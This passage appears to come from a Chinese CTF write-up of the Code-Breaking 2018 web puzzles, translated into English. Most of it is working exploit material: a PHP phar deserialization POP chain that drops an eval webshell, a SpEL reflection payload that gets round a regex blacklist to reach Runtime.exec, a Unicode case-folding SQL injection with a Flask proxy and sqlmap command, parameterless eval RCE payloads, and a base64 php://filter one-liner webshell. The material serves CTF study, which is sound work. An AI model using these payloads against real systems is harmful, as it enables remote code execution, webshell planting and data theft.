$request-\u0026gt;query(\u0026#39;action\u0026#39;); try { if (is_string($action) \u0026amp;\u0026amp; method_exists($this, \u0026#34;do{$action}\u0026#34;)) { return call_user_func([$this, \u0026#34;do{$action}\u0026#34;], $request); } else { throw new FileException(\u0026#39;Method error\u0026#39;); } } catch (FileException $e) { return response()-\u0026gt;json([\u0026#39;state\u0026#39; =\u0026gt; $e-\u0026gt;getMessage()]); } } That is, /server/editor?action=listimage means dolistimage() gets invoked\n\u0026lt;?php protected function doCatchimage(Request $request) { $sources = $request-\u0026gt;input($this-\u0026gt;config[\u0026#39;catcherFieldName\u0026#39;]);//source $rets = []; if ($sources) { foreach ($sources as $url) { $rets[] = $this-\u0026gt;download($url); } } return response()-\u0026gt;json([ \u0026#39;state\u0026#39; =\u0026gt; \u0026#39;SUCCESS\u0026#39;, \u0026#39;list\u0026#39; =\u0026gt; $rets ]); } The purpose of this feature is to use file_gut_contents() to fetch the image, and after the gd library confirms it is an image, save it locally.\nThe file_gut_contents() function performs a phar deserialization on files using the phar:// protocol. So our current goal becomes finding a POP chain\nFinding the POP chain First, get the full source code. Pull it with conposer install.\nSecond, pay attention to the target environment. The target environment is PHP 7.2, where the assert function cannot be used,\nWhen migrating older code to PHP 7.2+, you may get E_DEPRECATED warnings for every call to assert() you ever wrote, urging you to not pass the assertion as a string.\nSee: https://www.php.net/manual/zh/function.assert.php\nAnd the following functions are disabled\ndisable_functions = system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log Refer to Getting Started with PHP Deserialization: Finding POP Chains (Part 1)\nPOP chain #1, kingkk is awesome. I still don\u0026rsquo;t quite understand the call_user_func_array(array($this-\u0026gt;generator, $name), $arguments); below — let\u0026rsquo;s hold that thought for now.\n\u0026lt;?php // /** * @Author: King kaki * @Date: 2018-12-03 20:48:26 * @Last Modified by: King kaki * @Last Modified time: 2018-12-04 21:18:08 */ namespace Illuminate\\Broadcasting{ class PendingBroadcast{ function __construct(){ $this-\u0026gt;events = new \\Faker\\ValidGenerator(); $this-\u0026gt;event = \u0026#39;kingkk\u0026#39;; } } } namespace PHPUnit\\Framework\\MockObject\\Invocation{ class StaticInvocation{ function __construct(){ $this-\u0026gt;parameters = array(\u0026#39;./k.php\u0026#39;,\u0026#39;\u0026lt;?php phpinfo();eval($_POST[\u0026#34;k\u0026#34;]);?\u0026gt;\u0026#39;); } } } namespace PHPUnit\\Framework\\MockObject\\Stub{ class ReturnCallback{ function __construct(){ $this-\u0026gt;callback = \u0026#39;file_put_contents\u0026#39;; } } } namespace Faker{ class ValidGenerator{ function __construct(){ $si = new \\PHPUnit\\Framework\\MockObject\\Invocation\\StaticInvocation(); $g1 = new \\Faker\\Generator(array(\u0026#39;kingkk\u0026#39; =\u0026gt; $si )); $g2 = new \\Faker\\Generator(array(\u0026#34;dispatch\u0026#34; =\u0026gt; array($g1, \u0026#34;getFormatter\u0026#34;))); $rc = new \\PHPUnit\\Framework\\MockObject\\Stub\\ReturnCallback(); $this-\u0026gt;validator = array($rc, \u0026#34;invoke\u0026#34;); $this-\u0026gt;generator = $g2; $this-\u0026gt;maxRetries = 10000; } } class Generator{ function __construct($form){ $this-\u0026gt;formatters = $form; } } } $exp = new Illuminate\\Broadcasting\\PendingBroadcast(); print_r(urlencode(serialize($exp))); // phar $p = new Phar(\u0026#39;./k.phar\u0026#39;, 0); $p-\u0026gt;startBuffering(); $p-\u0026gt;setStub(\u0026#39;GIF89a\u0026lt;?php __HALT_COMPILER(); ?\u0026gt;\u0026#39;); $p-\u0026gt;setMetadata($exp); $p-\u0026gt;addFromString(\u0026#39;1.txt\u0026#39;,\u0026#39;text\u0026#39;); $p-\u0026gt;stopBuffering(); Here\u0026rsquo;s the analysis\nFirst, __construct and __destruct in PendingBroadcast handle the assignment and invocation logic respectively.\nIn essence, if it were a nested call like $this-\u0026gt;events($this-\u0026gt;event);, then a plain eval(param) would give RCE — nothing more to say. But that\u0026rsquo;s not the case: dispatch is involved, so we can either look for a class with a dispatch method to use as a trampoline, or look for a class with an ideal _call method.\n(Unfortunately, no such ideal class exists)\nMoreover, since command-execution functions can\u0026rsquo;t be used for RCE directly, we have to consider writing a shell — and for writing shells in PHP, file_put_contents is the best choice, because it doesn\u0026rsquo;t involve handles.\nIn fact, call_user_func_array is exactly the tool for this job: as long as we can control its second argument to be an array, it\u0026rsquo;s a total massacre.\nRef\nhttps://www.freebuf.com/articles/web/203767.html https://www.kingkk.com/2018/11/Code-Breaking-Puzzles-%E9%A2%98%E8%A7%A3-%E5%AD%A6%E4%B9%A0%E7%AF%87/ 0x06 javacon Solution process The request packet during normal login (username, password parameters)\nLet\u0026rsquo;s look at the source code\nio.tricking.challenge.MainController\n@PostMapping({\u0026#34;/login\u0026#34;}) public String login(@RequestParam(value = \u0026#34;username\u0026#34;, required = true) String username, @RequestParam(value = \u0026#34;password\u0026#34;, required = true) String password, @RequestParam(value = \u0026#34;remember-me\u0026#34;, required = false) String isRemember, HttpSession session, HttpServletResponse response) { if (this.userConfig.getUsername().contentEquals(username) \u0026amp;\u0026amp; this.userConfig.getPassword().contentEquals(password)) { session.setAttribute(\u0026#34;username\u0026#34;, username); if (isRemember != null \u0026amp;\u0026amp; !isRemember.equals(\u0026#34;\u0026#34;)) { Cookie c = new Cookie(\u0026#34;remember-me\u0026#34;, this.userConfig.encryptRememberMe()); c.setMaxAge(2592000); response.addCookie(c); } return \u0026#34;redirect:/\u0026#34;; } return \u0026#34;redirect:/login-error\u0026#34;; } Note lines 5-8, which handle the remember-me parameter, so let\u0026rsquo;s try adding this parameter\nNow let\u0026rsquo;s look at this controllable point https://github.com/phith0n/code-breaking/blob/master/2018/javacon/admin-panel/src/main/java/io/tricking/challenge/MainController.java\nThe getAdvanceValue function in it parses the incoming expression with SpEL (the red-boxed part)\nSearch globally for callers\nFound the vulnerability point; the whole parameter-passing logic can be said to be very clear.\nSo, in summary, the approach boils down to:\nThe server parses the SpEL expression we input, but since there is an encryption/decryption step in between, we need to encrypt the payload for it to succeed; this encryption process is done locally.\nA plain SpEL expression is actually not hard to turn into RCE — any one of the payloads below will do.\nnew java.lang.ProcessBuilder(\u0026#34;calc\u0026#34;).start() T(java.lang.Runtime).getRuntime().exec(\u0026#34;calc\u0026#34;) \u0026#39;\u0026#39;.getClass().forName(\u0026#39;java.lang.Runtime\u0026#39;).getRuntime().exec(\u0026#39;calc\u0026#39;) # PoC T(Thread).sleep(10000) The hard part is the blacklist here, which needs to be bypassed\nThe regex filters java.+lang, Runtime, and exec.+\\(\n1. Four building blocks for reflection calls in SpEL First, some groundwork:\nThe **\u0026lt;u\u0026gt;getClass()\u0026lt;/u\u0026gt;** method, used to get the class of an object. Note: you can also use the T marker, i.e. the \u0026ldquo;class type expression\u0026rdquo;,\nT(String)\nThe **\u0026lt;u\u0026gt;Class.forName()\u0026lt;/u\u0026gt;** method initializes the given class. For example, \u0026lt;font style=\u0026quot;color:#333333;\u0026quot;\u0026gt;Class.forName('java.lang.String')\u0026lt;/font\u0026gt; obtains the \u0026lt;font style=\u0026quot;color:#333333;\u0026quot;\u0026gt;j\u0026lt;/font\u0026gt;``\u0026lt;font style=\u0026quot;color:#333333;\u0026quot;\u0026gt;ava.lang.String\u0026lt;/font\u0026gt; class Note: this method is often used to \u0026ldquo;hop classes\u0026rdquo;, i.e. jumping from one class to another. We often use it to implement String-\u0026gt;Runtime\n**\u0026lt;u\u0026gt;getMethod(ClassName, parameterTypes)\u0026lt;/u\u0026gt;**, obtains the public methods declared by an object. The first parameter of this method is the name of the method to obtain, and the second parameter parameterTypes is the types of parameters the method accepts.\n# two different execMethods \u0026#39;\u0026#39;.getClass().getMethod(\u0026#34;run\u0026#34;, String.class) \u0026#39;\u0026#39;.getClass().forName(\u0026#39;java.lang.Runtime\u0026#39;).getMethod(\u0026#34;exec\u0026#34;, \u0026#39;\u0026#39;.getClass()) If executing exec directly, it should be getRuntime().exec(\u0026quot;calc\u0026quot;), but if invoking it via invoke, it should look like this\nexecMethod.invoke( getRuntimeMethod.invoke(null), // $1, [object] you are making a method call against \u0026#34;param\u0026#34;\t// $2, [parameter] to your method call ) **\u0026lt;u\u0026gt;ClazzMethod.invoke(clazz, args)\u0026lt;/u\u0026gt;**, calls the ClazzMethod method of instance clazz; see the example here. import java.lang.reflect.Method; public class TestClassLoad { public static void main(String[] args) throws Exception { Class\u0026lt;?\u0026gt; clz = Class.forName(\u0026#34;A\u0026#34;); Object obj = clz.newInstance(); Method met = clz.getMethod(\u0026#34;foo\u0026#34;, String.class); for (int i = 0; i \u0026lt; 16; i++) { met.invoke(obj, Integer.toString(i)); } } } 2. Bypassing the SpEL blacklist Final goal: reflectively invoke a malicious method of a malicious class. Since class names and method names are filtered by the blacklist, we must bypass the blacklist through string concatenation.\n# Blacklist: the regex filters [java.+lang], [Runtime], and [exec.+\\(] \u0026#39;\u0026#39;.getClass().forName(\u0026#39;java.lang.Runtime\u0026#39;).getRuntime().exec(\u0026#39;calc\u0026#39;) Goal decomposition:\n**① **First obtain the java.lang.Runtime class; see [3. The SpEL RCE formula]\n② Then get an instance of the java.lang.Runtime class,\n③ Finally call its exec method,\n3. The SpEL RCE formula ref: https://www.cnblogs.com/poing/p/12837175.html\n# Part 1: reflection starting point — obtain some class from the semantics. T(String) 1.getClass() \u0026#39;\u0026#39;.getClass() {}.getClass() ... # Part 2: hop to the malicious class T(String).forName(\u0026#34;java.lang.Runtime\u0026#34;) ... # Part 3: obtain the malicious method. Denote it as [execMethod] T(String).forName(\u0026#34;java.lang.Runtime\u0026#34;).getMethod(\u0026#39;exec\u0026#39;, T(String)) ... Finally, to invoke the method, we first need to instantiate the class, which is what the getRuntimeMethod.invoke(null) snippet below does\nexecMethod.invoke( getRuntimeMethod.invoke(null), // $1, [object] you are making a method call against \u0026#34;param\u0026#34;\t// $2, [parameter] to your method call ) Here\u0026rsquo;s the result directly: T(String).forName(\u0026quot;java.lang.Runtime\u0026quot;).getMethod('getRuntime').invoke(null)\nTo sum up, the complete reflection looks like this\nT(String).forName(\u0026#34;java.lang.Runtime\u0026#34;).getMethod(\u0026#39;exec\u0026#39;, T(String)).invoke((T(String).forName(\u0026#34;java.lang.Runtime\u0026#34;).getMethod(\u0026#39;getRuntime\u0026#39;).invoke(null)), \u0026#39;calc\u0026#39;) But don\u0026rsquo;t forget — there\u0026rsquo;s still the blacklist!\n#{T(String).forName(\u0026#39;jav\u0026#39;+\u0026#39;a.lang.Run\u0026#39;+\u0026#39;time\u0026#39;).getMethod(\u0026#39;ex\u0026#39;+\u0026#39;ec\u0026#39;, T(String)).invoke((T(String).forName(\u0026#39;jav\u0026#39;+\u0026#39;a.lang.Run\u0026#39;+\u0026#39;time\u0026#39;).getMethod(\u0026#39;getR\u0026#39;+\u0026#39;untime\u0026#39;).invoke(null)), \u0026#39;ls /\u0026#39;)} Encode it here to get a reverse shell\nSpEL (Spring Expression Language) Refer to ref: http://itmyhome.com/spring/expressions.html to learn the usage of the SpEL expression language.\nAlthough there are other Java expression languages to choose from, such as OGNL, MVEL, JBoss EL, etc., SpEL was created to provide the Spring community with a simple and efficient expression language, one that could be used across the entire Spring product portfolio. The language\u0026rsquo;s features should be designed based on the needs of Spring\u0026rsquo;s products. Although the SpEL engine serves as the foundation of expression parsing in the Spring portfolio, it depends only on the core module and can be used standalone; The expression language adds dynamic capabilities to the statically-typed Java language. [Keywords] in SpEL expressions are case-insensitive. The following content refers to Ref: https://zhuanlan.zhihu.com/p/174786047\nExploit — during code audit Entry point. A global search for the following keyword suffices (actually, wouldn\u0026rsquo;t the spel keyword work too, lol) org.springframework.expression.spel.standard Values using SpEL expressions. I.e., whether the following call exists expression.getValue() // demo private String getAdvanceValue(String val) { ... ParserContext parserContext = new TemplateParserContext(); Expression exp = parser.parseExpression(val, parserContext); SmallEvaluationContext evaluationContext = new SmallEvaluationContext(); return exp.getValue(evaluationContext).toString(); } Key point: when no EvaluationContext is specified, StandardEvaluationContext is used by default Parsing Use ** ExpressionParser** based on** ParserContext** to parse the string into an Expression; the Expression then evaluates the expression\u0026rsquo;s value according to the EvaluationContext, parsing the string into an Expression\nInterfaces, templates Represents the parser; the default implementation is the SpelExpressionParser class in the org.springframework.expression.spel.standard package, which uses the parseExpression method to convert a string expression into an Expression object. The ParserContext interface is used to define whether the string expression is a template, and the template\u0026rsquo;s start and end characters:\nsee: https://zhuanlan.zhihu.com/p/174786047\npublic interface ExpressionParser { Expression parseExpression(String expressionString) throws ParseException; Expression parseExpression(String expressionString, ParserContext context) throws ParseException; } @Test public void testParserContext() { ExpressionParser parser = new SpelExpressionParser(); ParserContext parserContext = new ParserContext() { @Override public boolean isTemplate() { return true; } @Override public String getExpressionPrefix() { return \u0026#34;#{\u0026#34;; } @Override public String getExpressionSuffix() { return \u0026#34;}\u0026#34;; } }; String template = \u0026#34;#{\u0026#39;Hello \u0026#39;}#{\u0026#39;World!\u0026#39;}\u0026#34;; Expression expression = parser.parseExpression(template, parserContext); System.out.println(expression.getValue()); } What we demonstrate here is the case of using ParserContext, where a ParserContext implementation is defined: the expression is declared a template, the expression prefix is \u0026ldquo;#{\u0026rdquo;, and the suffix is \u0026ldquo;}\u0026rdquo;; the template passed into parseExpression must start with \u0026ldquo;#{\u0026rdquo; and end with \u0026ldquo;}\u0026rdquo;, such as \u0026lt;font style=\u0026quot;color:#121212;\u0026quot;\u0026gt;\u0026quot;#{'Hello '}#{'World!'}\u0026quot;\u0026lt;/font\u0026gt;\nRegex Use \u0026ldquo;str matches regex\u0026rdquo;, e.g. \u0026ldquo;'123' matches '\\d{3}'\u0026rdquo; will return true;\nAnnotation-style configuration SpEL configuration based on the annotation style is also very simple: use the @Value annotation to specify SpEL expressions; this annotation can be placed on fields, methods, and method parameters.\nThe test Bean class is as follows, using @Value to specify the SpEL expression:\npublic class SpELBean { @Value(\u0026#34;#{\u0026#39;Hello\u0026#39; + world}\u0026#34;) private String value; } Class type expressions Use \u0026ldquo;T(Type)\u0026rdquo; to represent a java.lang.Class instance; \u0026ldquo;Type\u0026rdquo; must be the fully qualified class name, except for the \u0026ldquo;java.lang\u0026rdquo; package — classes under that package can omit the package name; class type expressions also allow accessing a class\u0026rsquo;s static methods and static fields, for example:\nString randomPhrase = parser.parseExpression( \u0026#34;random number is #{T(java.lang.Math).random()}\u0026#34;, new TemplateParserContext()).getValue(String.class); // evaluates to \u0026#34;random number is 0.7038186818312008\u0026#34; Classes in the \u0026lt;font style=\u0026quot;color:#121212;\u0026quot;\u0026gt;java.lang\u0026lt;/font\u0026gt; package can be accessed directly with \u0026ldquo;\u0026lt;font style=\u0026quot;color:#121212;\u0026quot;\u0026gt;T(String)\u0026lt;/font\u0026gt;\u0026rdquo;; other packages require the fully qualified class name; static field access is possible, such as \u0026ldquo;\u0026lt;font style=\u0026quot;color:#121212;\u0026quot;\u0026gt;T(Integer).MAX_VALUE”\u0026lt;/font\u0026gt;; static method access is also possible, such as \u0026ldquo;\u0026lt;font style=\u0026quot;color:#121212;\u0026quot;\u0026gt;T(Integer).parseInt('1')\u0026lt;/font\u0026gt;\u0026rdquo;.\nClass instantiation Class instantiation likewise uses the Java keyword \u0026ldquo;new\u0026rdquo;; the class name must be fully qualified, except for types inside the java.lang package, such as String and Integer.\n@Test public void testConstructorExpression() { ExpressionParser parser = new SpelExpressionParser(); String result1 = parser.parseExpression(\u0026#34;new String(\u0026#39;路人甲java\u0026#39;)\u0026#34;).getValue(String.class); System.out.println(result1); Date result2 = parser.parseExpression(\u0026#34;new java.util.Date()\u0026#34;).getValue(Date.class); System.out.println(result2); } Instantiation works exactly the same way as in Java; running it outputs\n路人甲java Tue Aug 03 20:22:43 CST 2020 Expression templates Earlier we already introduced using a ParserContext interface implementation to define whether an expression is a template, along with the prefix and suffix definitions. We won\u0026rsquo;t go into more detail here; for example, the \u0026ldquo;\u0026lt;font style=\u0026quot;color:#121212;\u0026quot;\u0026gt;Error ${#v0} ${#v1}\u0026lt;/font\u0026gt;\u0026rdquo; expression consists of the literal \u0026ldquo;\u0026lt;font style=\u0026quot;color:#121212;\u0026quot;\u0026gt;Error \u0026lt;/font\u0026gt;\u0026rdquo;, the template expression \u0026ldquo;\u0026lt;font style=\u0026quot;color:#121212;\u0026quot;\u0026gt;#v0\u0026lt;/font\u0026gt;\u0026rdquo;, and the template expression \u0026ldquo;\u0026lt;font style=\u0026quot;color:#121212;\u0026quot;\u0026gt;#v1\u0026lt;/font\u0026gt;\u0026rdquo;, where v0 and v1 are custom variables that need to be defined in the context.\nFix — vulnerability fix SimpleEvaluationContext and StandardEvaluationContext are the two EvaluationContext implementations SpEL provides\nSimpleEvaluationContext (relatively safe) — exposes a subset of SpEL language features and configuration options for categories of expressions that do not need the full scope of SpEL language syntax and should be intentionally restricted.\nStandardEvaluationContext (unsafe) — exposes the full set of SpEL language features and configuration options. You can use it to specify a default root object and configure every available evaluation-related strategy.\nSimpleEvaluationContext is designed to support only a subset of the SpEL language syntax. It does not include Java type references, constructors, and bean references; So the most direct fix is to replace StandardEvaluationContext with SimpleEvaluationContext. Below is the example. First, the controller that parses the SpEL expression is defined; the entry point is String val\n//MainController.java package io.tricking.challenge; import io.tricking.challenge.spel.SmallEvaluationContext; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.ParserContext; import org.springframework.expression.common.TemplateParserContext; import org.springframework.expression.spel.standard.SpelExpressionParser; private String getAdvanceValue(String val) { ... ParserContext parserContext = new TemplateParserContext(); Expression exp = parser.parseExpression(val, parserContext); SmallEvaluationContext evaluationContext = new SmallEvaluationContext(); return exp.getValue(evaluationContext).toString(); } Next, let\u0026rsquo;s look at this special thing SmallEvaluationContext; its definition is as follows\n//SmallEvaluationContext.java package io.tricking.challenge.spel; import org.springframework.expression.ConstructorResolver; import org.springframework.expression.spel.support.StandardEvaluationContext; import java.util.Collections; import java.util.List; public class SmallEvaluationContext extends StandardEvaluationContext { public void setConstructorResolvers(List\u0026lt;ConstructorResolver\u0026gt; constructorResolvers) { } public List\u0026lt;ConstructorResolver\u0026gt; getConstructorResolvers() { return Collections.emptyList(); } } 0x05 nodechr The foreign alphineLinux repositories are very slow and need to be switched to domestic mirrors; add one line before RUN set -ex \\ in the Dockerfile\nRUN sed -i \u0026#39;s/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g\u0026#39; /etc/apk/repositories and that switches them.\nThe source code is here: https://github.com/phith0n/code-breaking/blob/master/2018/nodechr/www/index.js\n// login logic async function login(ctx, next) { if(ctx.method == \u0026#39;POST\u0026#39;) { let username = safeKeyword(ctx.request.body[\u0026#39;username\u0026#39;]) let password = safeKeyword(ctx.request.body[\u0026#39;password\u0026#39;]) let jump = ctx.router.url(\u0026#39;login\u0026#39;) if (username \u0026amp;\u0026amp; password) { let user = await ctx.db.get(`SELECT * FROM \u0026#34;users\u0026#34; WHERE \u0026#34;username\u0026#34; = \u0026#39;${username.toUpperCase()}\u0026#39; AND \u0026#34;password\u0026#34; = \u0026#39;${password.toUpperCase()}\u0026#39;`) if (user) { ctx.session.user = user jump = ctx.router.url(\u0026#39;admin\u0026#39;) } } // filtering logic function safeKeyword(keyword) { if(isString(keyword) \u0026amp;\u0026amp; !keyword.match(/(union|select|;|\\-\\-)/is)) { return keyword } return undefined } See it? What gets filtered is username, but what goes into the database query is username.toUpperCase() — there\u0026rsquo;s a discrepancy in between.\nSo the approach is obvious: use SQL injection with UNION SELECT to query the flag column in the flags table.\nJS case-conversion quirks In JavaScript there are a few special characters worth noting\nFor toUpperCase():\nFor toLowerCase():\nYou can leverage these special characters to bypass certain rules\nThe characters \u0026#34;ı\u0026#34; and \u0026#34;ſ\u0026#34; become \u0026#34;I\u0026#34; and \u0026#34;S\u0026#34; after toUpperCase processing The character \u0026#34;K\u0026#34; becomes \u0026#34;k\u0026#34; after toLowerCase processing (this K is not K) Note: below are their URL-encoded values\nI --\u0026gt; ı -\u0026gt; %C4%B1 S --\u0026gt; ſ -\u0026gt; %C5%BF K -\u0026gt; %E2%84%AA Obviously, the users table has three columns, so let\u0026rsquo;s first try directly whether injection works\nPOST /login/ HTTP/1.1 Host: nodechr Content-Length: 52 Origin: http://nodechr Content-Type: application/x-www-form-urlencoded username=-1\u0026amp;password=\u0026#39; un%C4%B1on %C5%BFelect 1,2,\u0026#39;3 Use a Flask forwarding script; the address is here\n# encoding: utf-8 # sqli-reverse-flask.py from flask import Flask,request,jsonify import requests import urllib.request import urllib.parse def remote_login(payload): \u0026#39;\u0026#39;\u0026#39; Send an access request to the server \u0026#39;\u0026#39;\u0026#39; burp0_url = \u0026#34;http://nodechr:80/login/\u0026#34; burp0_headers = {\u0026#34;Cache-Control\u0026#34;: \u0026#34;max-age=0\u0026#34;, \u0026#34;Upgrade-Insecure-Requests\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;Origin\u0026#34;: \u0026#34;http://nodechr\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 es360messenger/6.6.5-600677 Safari/537.36 Safari/537.36\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;http://nodechr/login/\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;zh-CN,zh;q=0.9\u0026#34;, \u0026#34;Connection\u0026#34;: \u0026#34;close\u0026#34;} payload = \u0026#34;1\u0026#39;or %s or\u0026#39;\u0026#34; % payload burp0_data = {\u0026#34;username\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;password\u0026#34;: payload} resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) return resp.text app = Flask(__name__) @app.route(\u0026#39;/\u0026#39;) def login(): payload = request.args.get(\u0026#34;id\u0026#34;) # I --\u0026gt; ı -\u0026gt; %C4%B1 # S --\u0026gt; ſ -\u0026gt; %C5%BF payload = payload.lower() payload = payload.replace(\u0026#34;i\u0026#34;, \u0026#34;ı\u0026#34;) payload = payload.replace(\u0026#34;s\u0026#34;, \u0026#34;ſ\u0026#34;) print(payload) response = remote_login(payload) return response if __name__ == \u0026#39;__main__\u0026#39;: app.run() python sqlmap.py -u http://127.0.0.1:5000/?id=1 --dbs --hex -D SQLite_masterdb -T flags -C flag --dump --batch Successfully got results!\nActually, it\u0026rsquo;s not that complicated at all,\nLastly, borrowing a result from kingkk\nK ---- k ß(223) ---- SS ı(305) ---- I ſ(383) ---- S ﬀ(64256) ---- FF ﬁ(64257) ---- FI ﬂ(64258) ---- FL ﬃ(64259) ---- FFI ﬄ(64260) ---- FFL ﬅ(64261) ---- ST ﬆ(64262) ---- ST 0x04 phplimit \u0026lt;?php if(\u0026#39;;\u0026#39; === preg_replace(\u0026#39;/[^\\W]+\\((?R)?\\)/\u0026#39;, \u0026#39;\u0026#39;, $_GET[\u0026#39;code\u0026#39;])) { eval($_GET[\u0026#39;code\u0026#39;]); } else { show_source(__FILE__); } First, clarify the meaning of this regex\n[^\\W]+ \\W represents characters not in the [^a-zA-Z0-9_] range ^ negates the set, i.e. characters within the [a-zA-Z0-9_] range ((?R)?) Refer to https://www.rexegg.com/regex-recursion.html; it means recursive matching In other words: apart from the trailing semicolon, only nested function calls are allowed in the parameter, and no arguments are allowed inside the functions =\u0026gt; parameterless RCE\nParameterless RCE 0x01 Using Cookies session_id() can be used to get/set the current session ID.\nSo we can use this function to grab the phpsessionid from the cookie, and this value is under our control.\nBut it has a restriction:\nThe file session manager only allows the following characters in session IDs: a-z A-Z 0-9 , (comma) and - (minus)\nThat\u0026rsquo;s fine — we only need digits and letters, because we can convert our parameter into hexadecimal, pass it in, and then convert it back with the hex2bin() function.\nSo the payload can be: code=eval(hex2bin(session_id()));\nBut session_id requires the session to be started before it can be used, so we must first use session_start.\nFinal payload: eval(hex2bin(session_id(session_start())));\nSet PHPSESSID in the HTTP header to the hex of the code you want executed\nGET /?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1 Host: localhost Cookie: PHPSESSID=706870696e666f28293b 0x02 get_defined_vars get_defined_vars\nThe get_defined_vars() function returns an array of all defined variables.\nVersion requirements: PHP 4 \u0026gt;= 4.0.4, PHP 5, PHP 7\nLet\u0026rsquo;s run var_dump(get_defined_vars()); to take a look\narray(4) { [\u0026#34;GET\u0026#34;]=\u0026gt; array(1)\t{ [\u0026#34;code\u0026#34;]=\u0026gt; string(29) \u0026#34;var_dump(get_defined_vars());\u0026#34; } [\u0026#34;POST\u0026#34;]=\u0026gt; array(0) { } [\u0026#34;COOKIE\u0026#34;]=\u0026gt; array(0) { } [\u0026#34;FILES\u0026#34;]=\u0026gt; array(0) { } } Next we need to access the array; refer to Analysis of PHP built-in functions: current(), next(), prev(), reset(), end()\nFinally, use current then next in turn to get the value of $_GET[\u0026lsquo;2\u0026rsquo;], bringing the command-execution argument out of band, thereby achieving RCE\n# scan dir http://127.0.0.1/?code=eval(next(current(get_defined_vars())));\u0026amp;1=eval($_GET[%272%27]);\u0026amp;2=var_dump(scandir(%27../%27)); # readflag http://127.0.0.1/?code=eval(next(current(get_defined_vars())));\u0026amp;1=eval($_GET[%272%27]);\u0026amp;2=var_dump(readfile(%27../flag_phpbyp4ss%27)); 0x03 getallheader (apache) getallheader\n(PHP 4, PHP 5, PHP 7, PHP 8)\ngetallheaders — Fetch all HTTP request headers\ngetallheaders ( ) : array\nFetches all request headers of the current request.\nThis function is an alias of apache_request_headers(). Please read the apache_request_headers() documentation for more information.\nIt only works on Apache; this challenge is an nginx environment\nFatal error: Call to undefined function getallheaders() in /var/www/html/index.php(3) : eval()\u0026#39;d code on line 1 0x03 phpmagic \u0026lt;?php if(isset($_GET[\u0026#39;read-source\u0026#39;])) { exit(show_source(__FILE__)); } define(\u0026#39;DATA_DIR\u0026#39;, dirname(__FILE__) . \u0026#39;/data/\u0026#39; . md5($_SERVER[\u0026#39;REMOTE_ADDR\u0026#39;])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST[\u0026#39;domain\u0026#39;]) ? $_POST[\u0026#39;domain\u0026#39;] : \u0026#39;\u0026#39;; $log_name = isset($_POST[\u0026#39;log\u0026#39;]) ? $_POST[\u0026#39;log\u0026#39;] : date(\u0026#39;-Y-m-d\u0026#39;); if(!empty($_POST) \u0026amp;\u0026amp; $domain): $command = sprintf(\u0026#34;dig -t A -q %s\u0026#34;, escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER[\u0026#39;SERVER_NAME\u0026#39;] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), [\u0026#39;php\u0026#39;, \u0026#39;php3\u0026#39;, \u0026#39;php4\u0026#39;, \u0026#39;php5\u0026#39;, \u0026#39;phtml\u0026#39;, \u0026#39;pht\u0026#39;], true)) { file_put_contents($log_name, $output); } echo $output; endif; ?\u0026gt; Tricks The dig address, in the command\u0026rsquo;s output, contains the input value (now you get what partially controllable means?). The dig address has a length limit (\u0026lt;64). In file_put_contents, you can use the php:// pseudo-protocol in the first argument to achieve base64 decoding. Appending /. after the suffix makes \u0026lt;font style=\u0026quot;color:#333333;\u0026quot;\u0026gt;pathinfo\u0026lt;/font\u0026gt; unable to get the extension, so the write into .php proceeds normally. $_SERVER['SERVER_NAME'] (SERVERNAME) can be forged; it\u0026rsquo;s the value of the HOST in the HTTP request. To construct php://, first control $_SERVER['SERVER_NAME'] to be PHP, then pass :// in log_name, thereby concatenating php:// ://filter/write=convert.base64-decode/resource=0.php/. The decoding of \u0026lt;font style=\u0026quot;color:#333333;\u0026quot;\u0026gt;base64\u0026lt;/font\u0026gt; starts from recognizable characters, in groups of 4 bytes, and won\u0026rsquo;t stop when errors are encountered midway Therefore, first construct the base64 payload\n?─#echo \u0026#39;\u0026lt;?php eval($_POST[\u0026#39;cmd\u0026#39;]); ?\u0026gt;\u0026#39; |base64 PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7ICAgPz4K Note that disable_functions is as follows\nsystem,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log So write a one-liner webshell\nAppendix: php:// pseudo-protocol + base64 php:// pseudo-protocol https://www.php.net/manual/zh/filters.php\nCommonly used filters\nphp://filter/write=convert.base64-decode/resource=123.php string.rot13\tUsing this filter is equivalent to processing all stream data with the str_rot13() function. convert.base64-encode convert.base64-decode Using these two filters is equivalent to processing all stream data with the base64_encode() and base64_decode() functions respectively. base64 The character set is A-Za-z0-9+/, i.e. 52+10+2=64 The converted string will theoretically be 1/3 longer than the original A line break is added every 76 characters 0x02 easy PCREWaf \u0026lt;?php function is_php($data){ return preg_match(\u0026#39;/\u0026lt;\\?.*[(`;?\u0026gt;].*/is\u0026#39;, $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } $user_dir = \u0026#39;data/\u0026#39; . md5($_SERVER[\u0026#39;REMOTE_ADDR\u0026#39;]); $data = 